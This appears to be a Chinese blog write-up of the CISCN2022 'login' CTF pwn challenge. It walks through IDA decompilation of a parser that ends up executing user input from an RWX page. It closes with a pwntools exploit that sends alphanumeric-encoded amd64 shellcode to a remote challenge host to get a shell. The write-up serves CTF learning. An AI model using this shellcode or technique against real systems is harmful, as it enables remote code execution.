CISCN2022_login

CISCN2022_login

例行检查

image-20220603160829184

上来就是保护机制全开,直接到IDA中分析;

逆向分析

main函数:

image-20220603160951088

程序主逻辑在sub_FFD函数中,

unsigned __int64 __fastcall sub_FFD(_BYTE *our_content)
{
  char *sa; // [rsp+8h] [rbp-48h]
  char *maohao_addr; // [rsp+8h] [rbp-48h]
  char *sc; // [rsp+8h] [rbp-48h]
  char *sd; // [rsp+8h] [rbp-48h]
  char v7; // [rsp+17h] [rbp-39h]
  int v8; // [rsp+1Ch] [rbp-34h]
  int v9; // [rsp+2Ch] [rbp-24h]
  void *dest; // [rsp+30h] [rbp-20h]
  char *s1; // [rsp+38h] [rbp-18h]
  char *nptr; // [rsp+40h] [rbp-10h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  memset(qword_202040, 0, sizeof(qword_202040));// 对全局变量进行初始化
  v8 = 0;                                       // v8控制循环次数
  v7 = 0;
  dest = 0LL;
  while ( !*our_content || *our_content != '\n' && (*our_content != '\r' || our_content[1] != '\n') )// 没有输入,或者第一个字符是回车,并且我们的输入不为/r或/n,就往下进行
  {
    if ( v8 <= 5 )                              // 循环5次
      qword_202040[2 * v8] = our_content;       // 将我们的内容赋值给全局变量
    maohao_addr = strchr(our_content, ':');
    if ( !maohao_addr )                         // 如果我们的输入中不存在‘:’的话,就退出
    {
      puts("error.");
      exit(1);
    }
    *maohao_addr = 0;
    for ( sc = maohao_addr + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
      *sc = 0;                                  // 将冒号后的' ','\r','\n','\t'置为0
    if ( !*sc )                                 // 如果冒号后没值,就退出
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202040[2 * v8 + 1] = sc;            // 将冒号后的地址赋给v8+1的指针
    sd = strchr(sc, '\n');                      // 在sc里检索回车
    if ( !sd )                                  // 没有的话就退出
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    our_content = sd + 1;                       // 下一个回车后的地址赋值给our_content,作为我们的输入
    if ( *our_content == '\r' )
      *our_content++ = 0;                       // 如果our_content开头是'\r'的话,就置0
    s1 = (char *)qword_202040[2 * v8];          // s1为我们最开始的输入
    nptr = (char *)qword_202040[2 * v8 + 1];
    if ( !strcasecmp(s1, "opt") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);                          // 将nptr中的字符或整型类型转化为整型,作为下边的选择来进入不同的分支
    }
    else
    {
      if ( strcasecmp(s1, "msg") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
  *our_content = 0;
  sa = our_content + 1;
  if ( *sa == 10 )
    *sa = 0;
  switch ( v7 )  //菜单
  {
    case 2:
      sub_DA8((const char *)dest);
      break;
    case 3:
      sub_EFE((const char *)dest);
      break;
    case 1:
      sub_CBD((const char *)dest);
      break;
    default:
      puts("error.");
      exit(6);
  }
  return __readfsqword(0x28u) ^ v13;
}

要正确输入进入程序的菜单确实需要逆向好一会儿(大牛轻点儿喷),下边就是对菜单的三个函数的分析了,

sub_DA8():

unsigned __int64 __fastcall sub_DA8(const char *a1)
{
  unsigned int v1; // eax
  size_t v2; // rax
  int i; // [rsp+14h] [rbp-2Ch]
  void *dest; // [rsp+18h] [rbp-28h]
  unsigned __int64 v6; // [rsp+28h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( unk_202028 != 1 )   //先进行一个检查,如果unk_202028不等于1的话,就直接退出
  {
    puts("oh!");
    exit(-1);
  }
  if ( unk_202024 )    //unk_202028等于1,且unk_202024存在值,就会在下边调用shellcode
  {
    v1 = getpagesize();
    dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
    v2 = strlen(a1);
    memcpy(dest, a1, v2);    //将我们的输入copy到dest中
    ((void (*)(void))dest)();   //对我们的输入进行调用
  }
  else
  {
    puts(a1);
  }
  return __readfsqword(0x28u) ^ v6;
}

这里就是很明显的一个写shellcode的地方,但存在检查机制;

sub_EFE():

unsigned __int64 __fastcall sub_EFE(const char *a1)
{
  int i; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( !unk_202028 )
  {
    puts("oh!");
    exit(-1);
  }
  if ( !strcmp(a1, "eX1t") )
  {
    unk_202028 = 0;  //这里将unk_202028,unk_202024的值全赋值为0,
    unk_202024 = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}

将以上两个全局变量赋值为0的操作是通不过刚才的检查机制的,

sub_CBD():

unsigned __int64 __fastcall sub_CBD(const char *a1)
{
  int i; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( !strcmp(a1, "ro0t") )
  {
    unk_202028 = 1;
    unk_202024 = 1;
  }
  else
  {
    unk_202028 = 1;
  }
  return __readfsqword(0x28u) ^ v3;
}

这里选项1的话,就会进入到这个函数里,将unk_202028,unk_202024的值赋值为1,可以通过检查机制,

思路

我们先去调用选项1的函数,将unk_202028,unk_202024两个全局变量赋值为1,接着去调用选项2的函数,去执行shellcode,

exp

#!/usr/bin/env python
#coding=utf-8

from pwn import*
ip = "101.201.123.35"
port = 34973
io = remote(ip,port)
#io = process('./login')
elf = ELF('./login')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')

#gdb.attach(io,'b *$rebase(0x146E)')

io.recvuntil(">>>")
io.sendline('opt:1\r\nmsg:ro0t\r\n')

shellcode = '''
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
'''

#gdb.attach(io,'b *$rebase(0xda8)')

io.recvuntil(">>>")
io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n')

io.interactive()

image-20220603162722583
喜提flag!!!
大家觉得我的文章好的话就点点关注吧~
贴上我的博客

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值